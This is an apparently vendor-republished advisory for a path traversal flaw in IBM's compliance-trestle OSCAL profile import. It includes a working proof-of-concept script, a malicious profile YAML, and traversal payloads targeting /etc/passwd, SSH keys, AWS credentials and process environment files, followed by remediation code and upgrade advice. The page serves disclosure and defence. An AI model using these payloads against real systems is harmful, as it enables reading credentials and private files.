Summary
The compliance-trestle library's profile import mechanism resolves trestle:// URIs and relative file paths by joining them with trestle_root and calling .resolve(), but performs no boundary check to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with imports[].href containing path traversal sequences to read arbitrary files from the server filesystem.
Three attack vectors confirmed:
- PT-001:
trestle://../../etc/passwd, via trestle:// URI scheme - PT-002:
../../etc/passwd, via relative path in href - PT-003: back_matter rlinks with traversal paths
Preconditions: Victim must import/resolve an attacker-controlled OSCAL profile YAML.
Affected Component
Repository: https://github.com/IBM/compliance-trestle
File: trestle/core/remote/cache.py (lines 175-179)
File: trestle/core/resolver/_import.py (line 104)
Version: v4.0.2 (latest as of 2026-04-30)
Vulnerable Code
cache.py:175-179, LocalFetcher (trestle:// URI handling)
class LocalFetcher(FetcherBase):
def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
super().__init__(trestle_root, uri)
# ...
elif uri.startswith(const.TRESTLE_HREF_HEADING):
uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
self._abs_path = pathlib.Path(uri).resolve()
# ❌ NO boundary check, .resolve() follows ../
# ❌ NO is_relative_to() validation
# ❌ Result can be /etc/passwd
self._cached_object_path = self._abs_path
return
cache.py:194, LocalFetcher (relative path handling)
# For relative paths (no trestle:// or file:// prefix):
try:
self._abs_path = pathlib.Path(uri).resolve()
# ❌ Same issue, resolves relative to CWD with no boundary check
except Exception:
raise TrestleError(...)
_import.py:73-104, Profile import href resolution
class Import(Pipeline.Filter):
def __init__(self, ...):
# Line 73-83: back_matter rlinks used directly
if self._import.href[0] == '#':
resource = [r for r in self._resources if r.uuid == self._import.href[1:]][0]
self._import.href = [
rlink.href # ❌ rlink.href from OSCAL data, user-controlled
for rlink in resource.rlinks
if rlink.href.endswith('.json') or rlink.href.endswith('.yaml')
][0]
# Line 104: href passed directly to FetcherFactory
fetcher = cache.FetcherFactory.get_fetcher(self._trestle_root, self._import.href)
Root Cause:
Path(trestle_root / "../../etc/passwd").resolve()=/etc/passwd- No
is_relative_to(trestle_root)check after resolve TRESTLE_HREF_REGEXdefined atconst.py:253but NEVER enforced (dead code)- Even if enforced, the regex
'^trestle://[^/]'would PASS traversal payloads (.is[^/])
Steps to Reproduce
Prerequisites
pip install compliance-trestle==4.0.2
PoC: Malicious OSCAL Profile
# malicious_profile.yaml
profile:
uuid: "550e8400-e29b-41d4-a716-446655440000"
metadata:
title: "Malicious Profile"
version: "1.0"
last-modified: "2024-01-01T00:00:00+00:00"
oscal-version: "1.0.4"
imports:
- href: "trestle://../../../../../../etc/passwd"
PoC: Direct LocalFetcher Exploit
#!/usr/bin/env python3
"""PoC: trestle:// path traversal via real LocalFetcher"""
from pathlib import Path
from trestle.core.remote.cache import LocalFetcher
import tempfile
trestle_root = Path(tempfile.mkdtemp())
# Normal usage, stays within workspace
normal = LocalFetcher(trestle_root, "trestle://catalogs/test/catalog.json")
print(f"Normal: {normal._abs_path}") # /tmp/xxx/catalogs/test/catalog.json
# Exploit, escapes workspace
evil = LocalFetcher(trestle_root, "trestle://../../../../../../etc/passwd")
print(f"Evil: {evil._abs_path}") # /etc/passwd
print(f"Content: {evil._abs_path.read_text().split(chr(10))[0]}")
# Output: root:x:0:0:root:/root:/bin/bash
Expected: Path traversal blocked with error
Actual: /etc/passwd, /etc/shadow, /proc/self/environ read successfully
Resources
- CWE-22: https://cwe.mitre.org/data/definitions/22.html
- OSCAL Profile Resolution: https://pages.nist.gov/OSCAL/concepts/processing/profile-resolution/
- compliance-trestle: https://github.com/IBM/compliance-trestle
Impact
Credential Theft via OSCAL Import:
imports: - href: "trestle://../../root/.aws/credentials" - href: "trestle://../../root/.ssh/id_rsa"System Reconnaissance:
imports: - href: "trestle://../../etc/passwd" - href: "trestle://../../proc/self/environ"Supply Chain Attack:
Attacker publishes malicious OSCAL profile to public compliance catalog. Organizations importing it leak server files during profile resolution.Dead Code Evidence:
TRESTLE_HREF_REGEXdefined atconst.py:253but never enforced anywhere, proves path validation was INTENDED but never implemented.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
class LocalFetcher(FetcherBase):
def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
super().__init__(trestle_root, uri)
# ...
elif uri.startswith(const.TRESTLE_HREF_HEADING):
uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
self._abs_path = pathlib.Path(uri).resolve()
# ✅ ADD: Boundary check
if not self._abs_path.is_relative_to(self._trestle_root):
raise TrestleError(
f"Path traversal blocked: resolved path '{self._abs_path}' "
f"is outside trestle root '{self._trestle_root}'"
)
self._cached_object_path = self._abs_path
return
Same fix needed for relative path handling at line 194.
Additionally, enforce TRESTLE_HREF_REGEX (already defined at const.py:253 but never used).
Frequently Asked Questions
- What is CVE-2026-45774? CVE-2026-45774 is a medium-severity path traversal vulnerability in compliance-trestle (pip), affecting versions >= 4.0.0, <= 4.0.2. It is fixed in 4.0.3, 3.12.2. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- Which versions of compliance-trestle are affected by CVE-2026-45774? compliance-trestle (pip) versions >= 4.0.0, <= 4.0.2 is affected.
- Is there a fix for CVE-2026-45774? Yes. CVE-2026-45774 is fixed in 4.0.3, 3.12.2. Upgrade to this version or later.
- Is CVE-2026-45774 exploitable, and should I be worried? Whether CVE-2026-45774 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-45774 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-45774?
- Upgrade
compliance-trestleto 4.0.3 or later - Upgrade
compliance-trestleto 3.12.2 or later
- Upgrade